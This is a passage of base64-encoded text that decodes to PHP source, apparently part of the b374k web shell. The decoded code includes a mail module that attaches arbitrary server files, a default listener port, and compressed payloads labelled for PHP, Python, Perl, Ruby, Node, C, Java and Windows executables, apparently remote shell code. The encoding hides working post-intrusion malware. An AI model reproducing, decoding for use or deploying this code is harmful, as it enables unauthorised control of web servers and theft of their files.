Lio/KTxcL2E+LyIsICIiLCAkYm9keSk7CgkJCQkkYm9keSA9IHByZWdfcmVwbGFjZSgiLzxhIGhyZWY9XCJodHRwOlwvXC93d3cuemVuZC5jb21cLyguKj8pPFwvYT4vIiwgIiIsICRib2R5KTsKCQkJCSRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSciLiRpLiInIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDtkaXNwbGF5Om5vbmU7Jz4iLiRib2R5LiI8L2Rpdj4iOwoJCQl9CgkJfQoJCSRyZXMgLj0gIjxzcGFuIGNsYXNzPSdidXR0b24gY29sU3Bhbicgb25jbGljaz1cImluZm9fcmVmcmVzaCgpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPnJlZnJlc2g8L3NwYW4+PGRpdiBzdHlsZT0nY2xlYXI6Ym90aDsnPjwvZGl2PiI7CgkJcmV0dXJuICRyZXM7Cgl9Cn0KaWYoaXNzZXQoJHBbJ2luZm9SZWZyZXNoJ10pKXsKCW91dHB1dChpbmZvX2dldGluZm8oKSk7Cn0KJEdMT0JBTFNbJ21vZHVsZSddWydtYWlsJ11bJ2lkJ10gPSAibWFpbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbWFpbCddWyd0aXRsZSddID0gIk1haWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnanNfb250YWJzZWxlY3RlZCddID0gImlmKCFwb3J0YWJsZU1vZGUpICQoJyNtYWlsRnJvbScpLmZvY3VzKCk7IjsKJEdMT0JBTFNbJ21vZHVsZSddWydtYWlsJ11bJ2NvbnRlbnQnXSA9ICIKPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+TWFpbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keSBpZD0nbWFpbFRCb2R5Jz4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Jz5Gcm9tPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdtYWlsRnJvbScgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21haWxfc2VuZCcpO1wiPjwvdGQ+PC90cj4KCTx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J21haWxUbycgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21haWxfc2VuZCcpO1wiPjwvdGQ+PC90cj4KCTx0cj48dGQ+U3ViamVjdDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbWFpbFN1YmplY3QnIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYWlsX3NlbmQnKTtcIj48L3RkPjwvdHI+CjwvdGJvZHk+Cjx0Zm9vdD4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdtYWlsQ29udGVudCcgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+PC90ZXh0YXJlYT48L3RkPjwvdHI+Cgk8dHI+CgkJPHRkIGNvbHNwYW49JzInPjxzcGFuIHN0eWxlPSd3aWR0aDoxMjBweDsnIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYWlsX3NlbmQoKTtcIj5zZW5kPC9zcGFuPgoJCTxzcGFuIHN0eWxlPSd3aWR0aDoxMjBweDsnIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYWlsX2F0dGFjaCgpO1wiPmF0dGFjaG1lbnQ8L3NwYW4+CgkJPC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGlkPSdtYWlsUmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgoiOwppZighZnVuY3Rpb25fZXhpc3RzKCdzZW5kX2VtYWlsJykpewoJZnVuY3Rpb24gc2VuZF9lbWFpbCgkZnJvbSwgJHRvLCAkc3ViamVjdCwgJG1zZywgJGF0dGFjaG1lbnQpewoJCSRoZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiIuJGZyb207CgkJJHJhbmQgPSBtZDUodGltZSgpKTsKCQkkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PVwiIi4kcmFuZC4iXCJcclxuXHJcbiI7CgkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iXHJcbiI7CgkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVwiVVRGLThcIlxyXG5Db250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0XHJcblxyXG4iOwoJCSRoZWFkZXJzIC49ICRtc2cuIlxyXG5cclxuIjsKCQlpZihjb3VudCgkYXR0YWNobWVudCk+MCl7CgkJCWZvcmVhY2goJGF0dGFjaG1lbnQgYXMgJGZpbGUpewoJCQkJaWYoaXNfZmlsZSgkZmlsZSkpewoJCQkJCSRjb250ZW50ID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShyZWFkX2ZpbGUoJGZpbGUpKSk7CgkJCQkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iXHJcbiI7CgkJCQkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIlwiXHJcbiI7CgkJCQkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwoJCQkJCSRoZWFkZXJzIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50XHJcblxyXG4iOwoJCQkJCSRoZWFkZXJzIC49ICRjb250ZW50LiJcclxuXHJcbiI7CgkJCQl9CgkJCX0KCQl9CgkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iLS1cclxuIjsKCQlpZihAbWFpbCgkdG8sICRzdWJqZWN0LCAiIiwgJGhlYWRlcnMpKSByZXR1cm4gdHJ1ZTsKCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KaWYoaXNzZXQoJHBbJ21haWxGcm9tJ10pJiZpc3NldCgkcFsnbWFpbFRvJ10pJiZpc3NldCgkcFsnbWFpbFN1YmplY3QnXSkmJmlzc2V0KCRwWydtYWlsQ29udGVudCddKSl7CgkkbWFpbEZyb20gPSB0cmltKCRwWydtYWlsRnJvbSddKTsKCSRtYWlsVG8gPSB0cmltKCRwWydtYWlsVG8nXSk7CgkkbWFpbFN1YmplY3QgPSB0cmltKCRwWydtYWlsU3ViamVjdCddKTsKCSRtYWlsQ29udGVudCA9IHRyaW0oJHBbJ21haWxDb250ZW50J10pOwoJJG1haWxBdHRhY2htZW50ID0gdHJpbSgkcFsnbWFpbEF0dGFjaG1lbnQnXSk7CgkkbWFpbEF0dGFjaG1lbnQgPSAoIWVtcHR5KCRtYWlsQXR0YWNobWVudCkpPyBleHBsb2RlKCJ7W3xiMzc0a3xdfSIsICRwWydtYWlsQXR0YWNobWVudCddKTphcnJheSgpOwoJaWYoZW1wdHkoJG1haWxUbykpIG91dHB1dCgiUGxlYXNlIHNwZWNpZnkgYXQgbGVhc3Qgb25lIHJlY2lwaWVudCIpOwoJaWYoIWVtcHR5KCRtYWlsRnJvbSkpewoJCSRtYWlsRnJvbSA9ICJGcm9tOiAiLiRtYWlsRnJvbS4iXHJcblJlcGx5LVRvOiAiLiRtYWlsRnJvbS4iXHJcbiI7Cgl9Cglmb3JlYWNoKCRtYWlsQXR0YWNobWVudCBhcyAkZmlsZSl7CgkJJGZpbGUgPSB0cmltKCRmaWxlKTsKCQlpZihlbXB0eSgkZmlsZSkpIGNvbnRpbnVlOwoJCWlmKCFpc19maWxlKCRmaWxlKSkgb3V0cHV0KCJObyBzdWNoIGZpbGUgOiAiLiRmaWxlKTsKCX0KCWlmKHNlbmRfZW1haWwoJG1haWxGcm9tLCAkbWFpbFRvLCAkbWFpbFN1YmplY3QsICRtYWlsQ29udGVudCwgJG1haWxBdHRhY2htZW50KSkgb3V0cHV0KCJNYWlsIHNlbnQgdG8gIi5odG1sX3NhZmUoJG1haWxUbykpOwoJb3V0cHV0KCJGYWlsZWQgdG8gc2VuZCBtYWlsIik7Cn0KJHNlcnZlcl9hZGRyID0gaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pPyAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTppc3NldCgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pPyRfU0VSVkVSWyJIVFRQX0hPU1QiXToiIjsKJHJlbW90ZV9hZGRyID0gaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pPyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXToiIjsKJGRlZmF1bHRfcG9ydCA9IDEzMTIzOwokd2luYmluYXJ5ID0gKHN0cnRvbG93ZXIoc3Vic3RyKHBocF91bmFtZSgpLDAsMykpPT0id2luIik/ICI8b3B0aW9uPmV4ZWN1dGFibGU8L29wdGlvbj4iOiIiOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX3BocCddID0gIjdWUk5qOXMyRUQzYnYwSlJCU3lGS3JabEZ3aXdMamVYOWxnZ2FBdjBrTjBLTWtXdENFc2l5NkZxQjkzOTd4MSt5QjhiWnpkSWcxNWFHSmJJR2M2YjRjelQrLzZ0YXRUMG02Z3hSc0gxZkg0dlRETnNaa3gyODgzcXpYZGIvNXh5cmFVdU5GZFNHOUhmazBXNm5nSTNoUkVkTDFyUkNlTk1jbE9JVHJXQ0NWUFU3UUFOUWVNME1hVys1d1lvMzZ0V1ZwekVVWndGSS9vVEJqUmZyZDdnYWxmU2ZtaGJYUEhEQ2hvYVl5QW1qbjc5OGVlZjZONXczYTNmL1pMVHE5dmszVzgvM0Z5dGd4dHQ2L2xHOUhOb290Y2l4dGlPeHE3K0NCcmV0dEYxeEdUZmMyWjRkZHVqZnlwcXd1VFFHektXbUZLYXAzOU5KNG1pd2JUR0RWWVEyN2RCT05GWHVINmM4aGI0cGZEbGVUaThYOXg1aUlNaHZ4dXhTcloxV0xhT2V1aVpFYkl2K0Y2QUFYS2xXRy9hb3BaNmU1VjZURkhSbzlGMmRvSnh6a3hmNXluR0daS2ZXTDFsRVN4S2d0Z1hPRE1RRlVuUEkzd0ZXRks0bjBzSEZJem1aVmVBWkZzY05YRDlKOWNrTmt3aFR4WXo5N3VPWjRuS0VxUkhMOTBMWTJ6Q01UUlFSQTdZSThoV3JwaUVQVUV1R2VQS0hnaWxvdGZJVnU0d0d3d2IzQkhrYURIMFpjZEptaTJ5VllyMXh6dlJ1MEluOVU0THcwbkNzcVNiWVlmWkRpODRpMjlpQ3pmWk5hSkZwM3BGYVYzaXpGeUlIVkJ0aDRGUjdwVHJrT2IzUlZjYTFwQjR6cXJiaUx6Ly9SYnV2azNuQXVtS3Q5UTY5ZEdUcEtvb2J2MG9mYlNBb2hLYW9DZE5XVE11dlR1UjlMUXVaM3kwajBBaW8wVjNldXRFdVJ2YStjVFJ3MFAwQ2Y4ZkEvclRhSU85M0s1SHVBaVQ4YjI5TWVaQ2xzOCt5bnpTTCtrS3RLWFVySlhBeDNhTU96Y1JkRnZncDYxMkI1TUthS2wxK1lFczZJMWZ4RW9vSG1leGp0TXNmMnJjb1hGNXdlakJsS1pLUzFaSXhYdE0zbVFJajUwWHlybXhVYSt3eTVxREhEU3pOOFI1SEZsL3lybE5pOHl5T21XRDhRdk1GcytmeUY4OHNYejJCQXRPVHphamgwQXorMTF6V2R1MlBqejRsVStYcHNlcEpib01QYlI5RGVXRXBKNUFoNXd0YWhmQjh4a3FKWDV1WldZMThrQmcwUmRISEYwZXlDcG9qZkdWTXpNSW5CeEhHUnFVaVBSSXl6T3NzYUJMZ0tQdkkxVDJBdUR5R2NEbHk0Q1A1eHc5SWUrNDlOYzYzK2RQOXFHOWpuS2pXWHZHSC9UZGk2SVY2aUNLdFJVdFQ5REdxUUx2OFQ5cTI1ZXJGM3lSZXNGL1ZyM2drbnA5U3EvZ2Y3MDZPd0V2NlJWOG5sN0JWOUlydUt3RzhLL3BGWHh0dllMUDBhdC9MRkp2Yi80RyI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfcHl0aG9uJ10gPSAiclZSdGI5b3dFUDZjL0lyVW5ZWXRVbE5vcTAxMFFVSnRPbFZiV3dSTSs5QjJLRGdIaVFwT1pEc3QvZmM3Snlrd3hOUVBteEJKN3NWMzk5dzk1OE9EVnFGVmE1cktGc2huTDM4MVNTYmRReTh4SnRmZFZtdWVtcVNZY3BFdFc5T1RUNmRQMWROTmwzbW1qS2ZBMThVMFY1a0FyZjFNKy9vVi81bDRBdU9iZEFsdUhoRGlKdllSdzh6VENTd1dWTEN1NjlnendlWXNIMlE1U0NyODBpVVlxd0lqbXpncnpCOU8xNFBRcWtHcGZlcFU3bXFaNnlnd2haS2UxZklxSWxjUXhaUTEzMVFZYlV1MXpBMWxIS1RJWXFDTndzeU9QamVZVzVZZkNaTm1zcW8vblhtWjVqSmF3a0ZBcENHb2NtYUI0TE4wQVRLam1OaEJPN2JEd0pJU1dKWHRHb2ZEbTJCbFFDM1BCNk4yMFBndytIblphNXpYVmxTZGw0UFFpWGVVZWw4K2txWTJpczVZazNpOWJhR3prVEFQTERUWTdDOEpwdlpzNTZ6a0dQVmF2aDJGVlNrUXo3UjkzRGxsUElZU0dTbVJFVnVuQXlzQnVhbTg4MGpyVWxkSGRTeFNoRVFWNngxWENtY2FLT0FhSWlVU1NrVDg0Tkg3WHcvNnNjbUlyL3paSXBwcjYzRDk5Zlp1R0Y3MFJ5R3JqbUdnYVIyaGJsOGVtWVNuT2s0Vm5mSzV5b3FjdGhsNzg3RU5GTW1Pc2JiaDRFREc5Ry96cXQwMklEQ1lwVkxKUDhXMmlpaU1GOG00UklqZkZtTWQya3J1T29oWDArZ3FRcWxpdzF2dTdwcGo1RUdTSmhZOUJ5TmVMSjFJajdqekFFbkFJelYvZHV0T3psa1FkT3dLQlBQNzlxTUxpeTM5eVVidkpQanVXRHZtaDFWcUVEN3VVeW9Oelptcmcyck5lUFdpdGRTL21semZodU42Qi9ubzd1TGJaRFFlaHYwYlBJTEFqRFZrK2RwL2RQZDlZcDIyajB5RzRZOVIyTCs4SFBxWWNhZG96WkdoTWFYa21KYy80dWUyMjVvdlVxUzZwR2NvV09yaEtrY3NRT0RDY3N2dXc0Wmw5bWJnZWdGZ0o3b2g4TDZWZWhzMEplVzlVOTBnWHRjVG1aUWdETVRZOHIzVFg0Lyt2UUJrdmZSNzQ2eDMzdDJaa2dYcElVR3JPSlFtVlNQMm9qeDdENlgrVjVUNnY2RFU3RGM9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydyc19wZXJsJ10gPSAibFpKaGI5TXdFSVkvMTcvQ1pGNmJTSUcwREFtcEpoVlZtcUZxYTFQRkhRaFJpTkwwV0t5bGNSUzdyS2dydngwbnkyZ0VRb0o4c081ZW41NnpIdVhzbWJPVHBiUG11UVA1TjF4QW1hRXpuQ3BWeUtIajNIS1Y3dFl2RXJGMTFoZXZYOTA5bm1nbkFVK0Q0WkNKNUE0VVJVUklsM3dKZENGVDE0QjlJVXFGbDM0NGMvY0t5aTFkc0lIYlc1SEZoOGxxMUtQTnZRNXB2VmVtK0RrM0tPSmZ6UXIwWSt2YzY1UmJoNXAyN2dVenR2QzljK3hjR2ZTSWlISnZRUldsVUdMOVBZKzNZUFpVVXZRc2ltVDlHcFBaM2NWbE5KMzdTN3ZMQXU4cVlzdlFIODlzb3F5SGh3MEgwNnBYdlIySDc5Njc3c0E2b0E0cFhGSzFuL3FmS2VwSVVCVktGQldMQmRkUlJkRTBGa1NoZjhQODhXUVMyZ05ONmVqWGIvUk1OUjF2Tm1YRWM1TVU5blJlVFVUaitVZnJ0TEdUY2FrZzE5TVhyVEJPRXRCclBKdFo5V0tOODJ5amxveGxDbG1HaHpnUmVRNkpnczBxTit4K05TY0t5REZiVHFaejIzalQ5UXo2RkFRM1M5c1l0Uk0vREpzRWRXQVBDZFpPVCt1VFRFZ3dQWXMrRnV4WFViRmJqZWEyT3MyMGFoeFh1RThST2lMSTVNbm95eitOa3JUcEJuWEhYWjZEaW1JbHRLKzBwWVBFN204dUNXOWROeWEwUXhLMzRsb2IremR0WnFOdDFHV0dSWitTeGxzN2FzUlYwZC9OL1pld1doTWNLbTJtL251T1NIOC9BUT09IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydyc19ydWJ5J10gPSAidFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMWd1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX25vZGUnXSA9ICJuVkhMYnNJd0VEd2JpWCtJY29raklWc3FTSlZBblBvSlBkS0hqTE5ncTQ2VDJnNVVRdng3L1FnVTZFTlZjckN5TzdPenU3T1Vac0s1MXM0cDNVb251alhoVFUzWDAvdlpXM3JIb3gwem1XM1pYbWZMek1CN0p3M2dnZ3VwcXRmV05CeXNMVW9TQ1l0RTF1QXVxVDRzeWg2eXpnQ3JMOUdVT1JONG8yMmo0S3BWU2tWS3J5SkFLVThwNkZwcWFrWGhFYm5CL1RTa1ZjeHRHbE9UbWprdU1IM1plNVlzeTY4NlhsY0VQcUE0S3pLejNYbmdwQkRDcEJuK2lBSzlkV0s1bkphSDhRZ0Z2dkJrdnhmaGZuZ0hqMkIyWVBDbTA5ekpSbU1iZWNpU3ZaRU9jQjZON0x2UHc0b2F1SVBxU2VkaHA2ei8wbVplT0hxSkkvMFN0NEpZVjBsTkROaXVCbHplUWszbmlPK2VWOHl4ZkhLYUpzTWhMZytuYVdLME9INVhCbU1HbHY5VmRocjZXelZLcnlCS1dnYzZPcjI2ZXc3SjQzZ0V5a0oyNi8vczdMKzk4djhoT1JxczcxVW04YUtyYVpUNzd5SFFieGRBUDFpUEJucU9CcHFOaHJsOC9BUT0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX2djYyddID0gInJWSmhiOW93RVAwTXY4SmpVK3RRajVDMDA2VFNWRUtGU1dndFJNQTBUUnVLZ21QSXFjR09Zak5CcC83MzJuRmd3TFJKay9vaHlkMjdsM2YydlhPYktGVXFsOWV1dXdTVnJ1Y3RLbGJ1L1BMajFhTjlvNlpiZnd1Y1p1dUVvUnVwRWhDdDlQWUlLb0F2VDdFa2cva0p0cFd1MnVaTS9nbExRUitaT3NZNVU2QWZGL2d4dnVhZzFRMEdYS0ZWREJ5YklDNldsTkEwTGxCVGh6Ky96NXhmOVpvcFNFS0pDTHhPdmFZUHVxWWEwTTNpSkNraTRBZzBEQXRzZmc0QzMveFNnNVlFSGkzaUZXVGJvUHNwR2d6NzA4NGV6MFdoZ2xRSkxuR3NCT0N5bHpkem5OOFVvOTJTNWFka1puZ3c3UFo2NDZnNy9GYlNaR0R2aXl0MU1obmRmWTRtMDNHLyswRGFsc0tVNFloY1lhbkw5NUdobE14bzNQOHk2UnM5Y2lhSWhDY21GbGhVL1JmNGpYVFlCaFMyTW5QZ2lSYkFKemRIVGVjTVNIdmpXVmFtQjhxNDVuMG9VeHJFbExLeWMzdC9ISzFEU2NNdWhFeFpscUZyUkFYbmpDcVcvT0FONGw5VjNHU2QrNXA3bEhpSGlXOGx0N3JwQ2pmWXhvd1VUZnZqaDJDaldMSHFoQk12T0g4WGZ1M2RubmVxcW9aMHlDaHk5WTFjbWFMMzBMQm56WVJrbUpyNHVWNWptV1JvYitmbDY5dHBGcktNTE5HZjJTay9zVUxzRUtKbm5lbHA3Z2dYM3NVaHN0UCs1dzRNd25BOG1vNmk2VjI0OHhWWHcvNnJtOVVtbk5RY3g3bHBIMjVFNmFUOER5ZmxjZUlkSnEvdnBMUk9QdGRmQUE9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfamF2YSddID0gImxWUk5iOXN3REQyblFQK0Q0Sk05QkhhVERkaldJc093WVljQkF6b3N2WFhCSUN1TXJkV1dCWW5PQjlMODkxR3k3TGhyTHoxRWtjZ244dkdSY3BheEVsSGI2eXdySkpadG5vcW16dkszNzk4OWRPdmxoYXgxWTVEOTVWdWV5aVo5Yy9QVXBBQzk3ZkpDdDNrbEJSTVZ0NWI1eTMrTVBWNWVUTFNSVzQ3QUxISWt3RVlxWGdXWVJnWjdCTFcyN0s0MHdOY09QMXo0cm5TTFN5Ujd6YVM5R2J0dVd6ejdtaFk5QTNKM0hEVEdUKzlPbjExSWpsaEttMHE3b01oK1M4YUZpM1RxUW4yKzNZSXhjZzJqdU50R3JwbHBWWng0bmhNMGgyNHp5UThJOXl1V3N3VlRzR1ArK0dIMmNiNjY2ZnhTSVJQa3BEeXV6RGhQZ21OWHlncGk4V2x4bGJBUWEwSXMwcDJSQ0hFK3ZacUtIdXJ0bTZxMVpUeVlYb3g1OG4vZEtqaUtNdjYyRjZCUk5vcEJjb1NVVkZTa0JSY1BkNFlMb0hBZTdKYXUrbEJ2NkpndnUrWlN4YVNmVkFVVnlrMWhPeEZjWlc0Y2ZPN096MFM5Smw1UmxrdVYyVEx5THJtSmx3ZUxVS2NGNEUvVGFEQjRpS1BHcG9yWEVDVXBOaithSFppdjNCS2hWS28xN0c4M2NiU1RLa3FjUE1jUWxmNmlqbS9JdG5OV1AzRE1sbEJWN0pxSlJpa1FDT3ZmcXNzKzZzL09FZmhDWnh0a1hEYmlBWkNWb1hmZE1maUdEaE45VjNOYWdTcXdYQ3htWVFRbS9pa3NhRllSQ2pDcDVzWUNIVHo2L21yVjkyUUpodVlwcExKOXFwRXhkb0Y2dE9OaVV5NWMxL3BtZC8yRXlnTDduOHo4dFdRNjRhUW1ySGZOVnFQRUl4R2tucklScjlQTFVyREhSL1l5bi9FckxLUXJ1M1Rxajh6REtEOTVvRVV6WU1mMkFVeisvb1gwSmhvcEFlNlRRaGQvdFFwbERlNTYyTkpFd1I1RVRNT1RoRzhGcVVXVE93c0ZrODc2R2JXcEk5SW5jT2o1R1YyNHI0cCt6bkNBejFKNlBzYTFUOCtIN1ZsR3Y3emlkZEx2OUE4PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfZXhlY3V0YWJsZSddID0gIjdWaDVWRlBudGo5SkRrbElRZ2Fab2dZNWFCU3NpRXhWUk5DRVdRbENHUVFWU1FJSkdNbUF5UWxEdFJJYVFHS01qWFVveFpHV2VudGJxMWdwQ0NoR2dnZ1ZGV2NvSUZocEw3d3dWYjJBQlQzM29ONnVEbSt0dDliOTY2MjMzbDdaMzk3NzkvMzJ6dmVkWkozejdSTzF5UWpnQUFBQVVVVVFBTGdBdkJFTzhEK0xCbFdxY3gwVnFMSys0WElCdzd2aEVyOVZvb0t5bElvTXBWQUdwUW5sY2dVTXBZb2hwVm9PU2VSUVNIUWNKRk9JeEI0Mk5pVDIyeG94b1FEQXcrQ0FIMUthWS85ZHR3K2c0Y2dZckFNQW9RRWQxWlBvcHdHMWxhaTJ2MTNkREk1OXMyN00yL1cvVFg0emh3cnU5UWk5amVtLzRmVGZid0t0NTRjQi9tUFphZ0lBNW4rUWx4Q1Q1UG5hT2ZtN0JXSC9jbjM3VUo3WHY3Znhldit6L3NyanZPRjUvN2E1OXJjY3U3L3dURDRlbml0bXZ0ekZ4aHByWFdaMHJIdm4zWjBqVnc4Q1FDRVZaYmdCd0NJQUNCaHFRNUE0N1pCZmVRU0hBeFNaWU5hMUVEWVJJSURZNnA3eEtaQk5SZHJaRkRLZHNXaGdXRjdUVGFXM2dRVHJaSkFVWUhDZkNCanZjdGZoNk9XQUoyY2xJT0NBK015NmtkcTVYR2VLcXh1Ulc5ZjEwY3ZrY3FaQUdhUjMycnZkK25Od2xXNWpmNlpDSDB6WCtjOFgyVjUyd2JWNHhvQlMvYTJSK25QMlhEcUZmRkhiUHphYnlvS0hiQjQwNkpjUmovcVZIL2FmUEhkNUdMZkJQSCtuanJYMm5nRmVCQ2hxcW1VME43MnI1M0pNNEg1N1UwN2dldnpqbmtBRFhobFZqNWtORUhlb2tJemxoZHBKREszd3VjMHRXdEZKd2lOcHpXVXZrN2JKYlhPam15RTcrQ0FjR1hqNFZxL2lGZDR4OElDNjEzSSswSW9XRk9oMHF4am5MVWdBWVluTGNMM04rVy90Q2k4Z2dLWENxMnZ3Tks2KzhpbG1pYUhLU1BaWGRLcnExKzB0VkhreVYvdEgxTzIvRkh0eFZnSG1jY1Nwb1phNVpDTzlPM1YzUDZhb0t5bi9uNjlLNTM1ZURyTmM5VVFmbUR3NmFxaXVORngweGN0Wit6QkQ3U09UOW9YV0E1a3ZmVXFjTHhrakYyRWp5NDlXN2pjL3NrUDZkT00wb3hGSWZ6STZxYmVoTUl0YVliOEUzVS9OekF0bkg3Y0NuTzdZbEFVbUt1T1d1a3V3dm44QjBjSGExYTluWkpTOG9OVnN2SkJrR1RSeXQ1ampESk01T1ZVODd6UmsrelFqY1VQY2V3VkRTYmhyOWRjRytxK3JEZCsxZlZZSjFORW5IWWNLa1FuZDdXZGZHWW9nYS9DNlJGN3ZsRUVFdmRUZ1Q2dXd4QVFNNWM0eHhrMDdBcDN5cmZVQkxSRXZEemRQZEkwazM5ZUYxbnpRRCtTUjZCU3hlZDFtQ1dIQ1JXQnlmZWozM1dqWDN2UUZqNjZGVmlibzhiYjFUa05tZjBOb0UvdGd1a3NUTm5sWVBMc2ZzQU5iYURVQk5UbW5kaXhnc0NLYjlRbVY0ZjI2NjdaMW44UWJFcHJ3SUlmSXBvaC9IbnFYeWZKeS8rU25vYkZheDF3U3k4dFhXVjMwTVRHMVVsTFZLUGJCQlV6MjlRRUIzM28ydGlWeXR1Qm1wWnpzcCtKRVc3eXJlNzZ3MVhPSXhBNFdjVVJXSVF3T3VSZDBEMUQzczF6WXhyNnlxcDhiZW9wbjMwdFBJZEV1dDFzVGorNWdkbE5TR0hGcy9jS0Q2ZlRHbzFXVjVNZUJPZFY1L3hDSHB5K1dGdkxPNVpYNXNhTXlacm5OOW1VektodCtJc2JUNTRRWUY3bVgxajdyZm5uSlpram03MkJKdVViM0xDS3lNSmlSaDIzZmt0SXBSRjJSSFdtc3pTV055R1NsUTFIS3djOWpXNlpYM3hhNjkzYzhiMVV2Y3BBdlY4NE5hbnZKUG1iOXdzKzFIcnJLQXBoZTlNYVVDRHlHVVB4eCtvc1VldkcwVzNENnZodW45QVgyREpEK25YbHVhN3RMbkZYMTk3d0RUSXFuL3djWC80bkVHOFJqR3plbjhMY1loTlAza1lYdGtCYTI4VE1